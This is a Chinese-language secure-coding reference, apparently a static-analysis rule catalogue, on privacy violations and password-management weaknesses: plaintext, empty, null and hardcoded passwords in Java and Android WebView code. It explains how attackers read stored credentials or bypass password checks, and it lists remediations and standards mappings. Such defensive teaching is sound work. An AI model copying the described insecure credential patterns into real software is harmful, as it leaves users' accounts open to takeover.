此示例存在多个问题。首先,WebView 凭证以明文的形式存储且不经过 hash 处理。因此,如果用户拥有 root 设备(或使用仿真器),他/她就能读取存储的给定站点的密码。其次,明文凭证将被广播给所有注册的接收者,这就意味着任何使用 SEND_CREDENTIALS 收听的注册接收者都将收到消息。即使权限限制接收者人数,广播也不会受到保护;既然这样,我们也不建议将权限作为修复方式使用。
可以通过多种方式将私人数据输入到程序中:
— 以密码或个人信息的形式直接从用户处获取
— 由应用程序访问数据库或者其他数据存储形式
— 间接地从合作者或者第三方处获取
通常情况下,在移动世界的背景下,该私人信息将包括(以及密码、SSN 和其他一般个人信息):
位置
手机号码
序列号和设备 ID
网络运营商信息
语音信箱信息
有时,某些数据并没有贴上私人数据标签,但在特定的上下文中也有可能成为私人信息。比如,通常认为学生的学号不是私人信息,因为学号中并没有明确而公开的信息用以定位特定学生的个人信息。但是,如果学校用学生的社会保障号码生成学号,那么这时学号应被视为私人信息。
安全和隐私似乎一直是一对矛盾。从安全的角度看,您应该记录所有重要的操作,以便日后可以鉴定那些非法的操作。然而,当其中牵涉到私人数据时,这种做法就存在一定风险了。
虽然不安全地处理私人数据有多种形式,但是常见的风险来自于盲目的信任。程序员通常会信任程序运行的操作系统,因此认为将私人信息存放在 file system、注册表或者获得局部控制的资源中是值得信任的。尽管已经限制了某些资源的访问权限,但仍无法保证所有访问这些资源的个体都是值得信任的。例如,2004 年,一个不道德的 AOL 员工把大约 9200 万个客户的私人电子邮件地址卖给了一个通过垃圾邮件进行营销的赌博网站 [1]。
鉴于此类备受瞩目的信息盗取事件,私人信息的收集与管理正日益规范化。要求各个组织应根据其经营地点、所从事的业务类型及其处理的私人数据性质,遵守下列一个或若干个联邦和州的规定:
Safe Harbor Privacy Framework [3]
Gramm-Leach Bliley Act (GLBA) [4]
Health Insurance Portability and Accountability Act (HIPAA) [5]
California SB-1386 [6]
尽管制定了这些规范,Privacy Violation 漏洞仍时有发生。
RECOMMENDATIONS
当安全和隐私的需要发生矛盾时,通常应优先考虑隐私的需要。为满足这一要求,同时又保证信息安全的需要,应在退出程序前清除所有私人信息。
为加强隐私信息的管理,应不断改进保护内部隐私的原则,并严格地加以执行。这一原则应具体说明应用程序应该如何处理各种私人数据。在贵组织受到联邦或者州法律的制约时,应确保您的隐私保护原则尽量与这些法律法规保持一致。即使没有针对贵组织的相应法规,您也应当保护好客户的私人信息,以免失去客户的信任。
保护私人数据的最好做法就是最大程度地减少私人数据的暴露。不应允许应用程序、流程处理以及员工访问任何私人数据,除非是出于职责以内的工作需要。正如最小授权原则一样,不应该授予访问者超出其需求的权限,对私人数据的访问权限应严格限制在尽可能小的范围内。
对于移动应用程序,请确保它们从不与在设备上运行的其他应用程序进行任何敏感数据通信。存储私人数据时,通常都应加密。对于 Android 以及其他任何使用 SQLite 数据库的平台来说,SQLCipher 是一个好选择 – 对 SQLite 数据库的扩展为数据库文件提供了透明的 256 位 AES 加密。因此,凭证可以存储在加密的数据库中。
例 3:以下代码演示了在将所需的二进制码和存储凭证下载到数据库文件后,将 SQLCipher 集成到 Android 应用程序中的方法。
1 | import net.sqlcipher.database.SQLiteDatabase; |
请注意,对 android.database.sqlite.SQLiteDatabase 的引用可以使用 net.sqlcipher.database.SQLiteDatabase 代替。
要在 WebView 存储上启用加密,需要使用 sqlcipher.so 库重新编译 WebKit。
例 4:以下代码从 Android WebView 存储读取给定站点的用户名和密码,而不是将其广播到所有注册的接收器,它仅在内部广播,以便广播只能由同一应用程序的其他部分看到。
1 | ... |
REFERENCES
[1] J. Oates AOL man pleads guilty to selling 92m email addies The Register
[2] Privacy Initiatives U.S. Federal Trade Commission
[3] Safe Harbor Privacy Framework U.S. Department of Commerce
[4] Financial Privacy: The Gramm-Leach Bliley Act (GLBA) Federal Trade Commission
[5] Health Insurance Portability and Accountability Act (HIPAA) U.S. Department of Human Services
[6] California SB-1386 Government of the State of California
[7] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[8] SQLCipher.
[9] FUNDAMENTALS-4: Establish trust boundaries Oracle
[10] CONFIDENTIAL-2: Do not log highly sensitive information Oracle
[11] INPUT-1: Validate inputs Oracle
[12] Standards Mapping - Common Weakness Enumeration CWE ID 359
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[14] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 6.5.5, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 8.2.1
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000650 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000650 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000650 CAT II
[32] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[33] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Password Management
ABSTRACT
采用明文的形式存储密码会危及系统安全。
EXPLANATION
当密码以明文形式存储在应用程序的属性文件或其他配置文件中时,会发生 password management 漏洞。
例 1:以下代码可以从属性文件中读取密码,并使用该密码连接到数据库。
1 | ... |
这组代码可以顺利运行,但是任何对 config.properties 具有访问权限的人都能读取 password 中的值。而这给了心怀不轨的雇员利用这一信息破坏系统的机会。
在移动世界中,由于设备丢失的几率较高,因此密码管理是一个非常棘手的问题。 例 2:以下代码可从 Android WebView 存储器读取用户名和密码,并使用它们设置身份验证,从而查看受保护页面。
1 | ... |
默认情况下,WebView 凭证以明文的形式存储且不经过 hash 处理。因此,如果用户拥有 root 设备(或使用仿真器),他/她就能读取存储的给定站点的密码。
RECOMMENDATIONS
绝不能采用明文的形式存储密码。相反,应在系统启动时,由管理员输入密码。如果这种方法不切实际,一个安全性较差、但通常都比较恰当的解决办法是将密码模糊化,并把这些去模糊化的资源分散到系统各处,因此,要破译密码,攻击者就必须取得并正确合并多个系统资源。至少,密码要先经过 hash 处理再存储。
有些第三方产品宣称可以采用更加安全的方式管理密码。例如,WebSphere Application Server 4.x 用简单的异或加密算法加密数值,但是请不要对诸如此类的加密方式给予完全的信任。WebSphere 以及其他一些应用服务器通常都只提供过期的且相对较弱的加密机制,这对于安全性敏感的环境来说是远远不够的。一般较为安全的解决方法是采用由用户创建的所有者机制,而这似乎也是目前最好的方法。
对于 Android 以及其他任何使用 SQLite 数据库的平台来说,SQLCipher 是一个好选择 – 对 SQLite 数据库的扩展为数据库文件提供了透明的 256 位 AES 加密。因此,凭证可以存储在加密的数据库中。
例 3:以下代码演示了在将所需的二进制码和存储凭证下载到数据库文件后,将 SQLCipher 集成到 Android 应用程序中的方法。
1 | import net.sqlcipher.database.SQLiteDatabase; |
请注意,对 android.database.sqlite.SQLiteDatabase 的引用可以使用 net.sqlcipher.database.SQLiteDatabase 代替。
要在 WebView 存储上启用加密,需要使用 sqlcipher.so 库重新编译 WebKit。
REFERENCES
[1] SQLCipher.
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 256
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
Password Management: Empty Password
ABSTRACT
Empty password 可能会危及系统安全,并且无法轻易修正出现的安全问题。
EXPLANATION
为密码变量指定空字符串绝非一个好方法。如果使用 empty password 成功通过其他系统的验证,那么相应帐户的安全性很可能会被减弱,原因是其接受了 empty password。如果在为变量指定一个合法的值之前,empty password 仅仅是一个占位符,那么它将给任何不熟悉代码的人造成困惑,而且还可能导致出现意外控制流路径方面的问题。
例 1: 以下代码尝试使用 empty password 连接数据库。
1 | ... |
如果例 1 中的代码成功执行,则表明数据库用户帐户“scott”配置了一个 empty password,攻击者可以轻松地猜测到这一点。更危险的是,程序一旦发布,更新帐户以使用非 empty password 时,需要对代码进行更改。
例 2: 以下代码可将密码变量初始化为空字符串,并尝试在存储的值中读取密码,且将其与用户提供的值进行比较。
1 | ... |
如果 readPassword() 因数据库错误或其他问题而未能取得存储的密码,攻击者只需向 userPassword 提供一个空字符串,就能轻松绕过密码检查。
在移动世界中,由于设备丢失的几率较高,因此密码管理是一个非常棘手的问题。 例 3:以下代码可将用户名和密码变量初始化为空字符串,如果服务器之前未拒绝这些变量当前提出的请求,代码就可从 Android WebView 存储读取凭证,并使用用户名和密码设置身份验证,从而查看受保护页面。
1 | ... |
与例 2 相似,如果 useHttpAuthUsernamePassword() 返回 false,攻击者就可以通过提供 empty password 查看受保护页面。
RECOMMENDATIONS
始终从加密的外部资源读取存储的密码值,并为密码变量指定有意义的值。确保始终不使用 empty password 或 null password 保护敏感资源。
对于 Android 以及其他任何使用 SQLite 数据库的平台来说,SQLCipher 是一个好选择 – 对 SQLite 数据库的扩展为数据库文件提供了透明的 256 位 AES 加密。因此,凭证可以存储在加密的数据库中。
例 4:以下代码演示了在将所需的二进制码和存储凭证下载到数据库文件后,将 SQLCipher 集成到 Android 应用程序中的方法。
1 | import net.sqlcipher.database.SQLiteDatabase; |
请注意,对 android.database.sqlite.SQLiteDatabase 的引用可以使用 net.sqlcipher.database.SQLiteDatabase 代替。
要在 WebView 存储上启用加密,需要使用 sqlcipher.so 库重新编译 WebKit。
REFERENCES
[1] SQLCipher.
[2] Standards Mapping - Common Weakness Enumeration CWE ID 259
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Password Management: Hardcoded Password
ABSTRACT
Hardcoded password 可能会危及系统安全性,并且无法轻易修正出现的安全问题。
EXPLANATION
使用硬编码方式处理密码绝非好方法。这不仅是因为所有项目开发人员都可以使用通过硬编码方式处理的密码,而且还会使解决这一问题变得极其困难。一旦代码投入使用,除非对软件进行修补,否则您再也不能改变密码了。如果帐户中的密码保护减弱,系统所有者将被迫在安全性和可行性之间做出选择。
例 1:以下代码用 hardcoded password 来连接数据库:
1 | ... |
该代码可以正常运行,但是任何有该代码权限的人都能得到这个密码。一旦程序发布,将无法更改数据库用户“scott”和密码“tiger”,除非是要修补该程序。雇员可以利用手中掌握的信息访问权限入侵系统。更糟的是,如果攻击者能够访问应用程序的字节代码,那么他们就可以利用 javap -c 命令访问已经过反汇编的代码,而在这些代码中恰恰包含着用户使用过的密码值。我们可以从以下看到上述例子的执行结果:
1 | javap -c ConnMngr.class |
在移动世界中,由于设备丢失的几率较高,因此密码管理是一个非常棘手的问题。 例 2:以下代码可使用硬编码的用户名和密码设置身份验证,从而使用 Android WebView 查看受保护页面。
1 | ... |
与例 1 相似,该代码可以正常运行,但是任何有该代码权限的人都能得到这个密码。
RECOMMENDATIONS
绝不能对密码进行硬编码。通常情况下,应对密码加以模糊化,并在外部资源文件中进行管理。在系统中采用明文的形式存储密码,会造成任何有充分权限的人读取和无意中误用密码。至少,密码要先经过 hash 处理再存储。
有些第三方产品宣称可以采用更加安全的方式管理密码。例如,WebSphere Application Server 4.x 用简单的异或加密算法加密数值,但是请不要对诸如此类的加密方式给予完全的信任。WebSphere 以及其他一些应用服务器通常都只提供过期的且相对较弱的加密机制,这对于安全性敏感的环境来说是远远不够的。一般较为安全的解决方法是采用由用户创建的所有者机制,而这似乎也是目前最好的方法。
对于 Android 以及其他任何使用 SQLite 数据库的平台来说,SQLCipher 是一个好选择 – 对 SQLite 数据库的扩展为数据库文件提供了透明的 256 位 AES 加密。因此,凭证可以存储在加密的数据库中。
例 3:以下代码演示了在将所需的二进制码和存储凭证下载到数据库文件后,将 SQLCipher 集成到 Android 应用程序中的方法。
1 | import net.sqlcipher.database.SQLiteDatabase; |
请注意,对 android.database.sqlite.SQLiteDatabase 的引用可以使用 net.sqlcipher.database.SQLiteDatabase 代替。
要在 WebView 存储上启用加密,需要使用 sqlcipher.so 库重新编译 WebKit。
REFERENCES
[1] SQLCipher.
[2] MSC03-J. Never hard code sensitive information CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 259, CWE ID 798
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Password Management: Null Password
ABSTRACT
Null password 会损害安全性。
EXPLANATION
最好不要为密码变量指定 null password,因为这会使攻击者绕过密码验证,或是表明资源受 empty password 保护。
例 1:以下代码可将密码变量初始化为 null,并尝试在存储的值中读取密码,且将其与用户提供的值进行比较。
1 | ... |
如果 readPassword() 因数据库错误或其他问题而未能取得存储的密码,攻击者只需向 userPassword 提供一个 null 值,就能轻松绕过密码检查。
在移动世界中,由于设备丢失的几率较高,因此密码管理是一个非常棘手的问题。 例 2:以下代码可将用户名和密码变量初始化为 null,如果服务器之前未拒绝这些变量当前提出的请求,代码就可从 Android WebView 存储读取凭证,并使用用户名和密码设置身份验证,从而查看受保护页面。。
1 | ... |
与例 1 相似,如果 useHttpAuthUsernamePassword() 返回 false,攻击者就可以通过提供 null password 查看受保护页面。
RECOMMENDATIONS
始终从加密的外部资源读取存储的密码值,并为密码变量指定有意义的值。确保始终不使用 empty password 或 null password 保护敏感资源。
对于 Android 以及其他任何使用 SQLite 数据库的平台来说,SQLCipher 是一个好选择 – 对 SQLite 数据库的扩展为数据库文件提供了透明的 256 位 AES 加密。因此,凭证可以存储在加密的数据库中。
例 3:以下代码演示了在将所需的二进制码和存储凭证下载到数据库文件后,将 SQLCipher 集成到 Android 应用程序中的方法。
1 | import net.sqlcipher.database.SQLiteDatabase; |
请注意,对 android.database.sqlite.SQLiteDatabase 的引用可以使用 net.sqlcipher.database.SQLiteDatabase 代替。
要在 WebView 存储上启用加密,需要使用 sqlcipher.so 库重新编译 WebKit。
REFERENCES
[1] SQLCipher.
[2] Standards Mapping - Common Weakness Enumeration CWE ID 259
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Password Management: Password in Comment
ABSTRACT
以明文形式在系统或系统代码中存储密码或密码详细信息可能会以无法轻松修复的方式危及系统安全。
EXPLANATION
使用硬编码方式处理密码绝非好方法。在注释中存储密码详细信息等同于对密码进行硬编码。这不仅能够使所有项目的开发人员都可以查看密码,而且还会使解决这一问题变得极其困难。一旦代码投入使用,密码便会外泄,除非对软件进行修补,否则您再也不能保护或更改密码了。如果帐户中的密码保护减弱,系统所有者将被迫在安全性和可行性之间做出选择。
示例:以下注释指定连接到数据库的默认密码:
1 | ... |
该代码可以正常运行,但是任何有该代码权限的人都能得到这个密码。一旦程序发布,将无法更改数据库用户“scott”和密码“tiger”,除非是要修补该程序。雇员可以利用手中掌握的信息访问权限入侵系统。
RECOMMENDATIONS
绝不能对密码进行硬编码。通常情况下,应对密码加以模糊化,并在外部资源文件中进行管理。在系统中采用明文的形式存储密码,会造成任何有充分权限的人读取和无意中误用密码。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 615
[2] Standards Mapping - FIPS200 IA
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[5] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[6] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[7] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
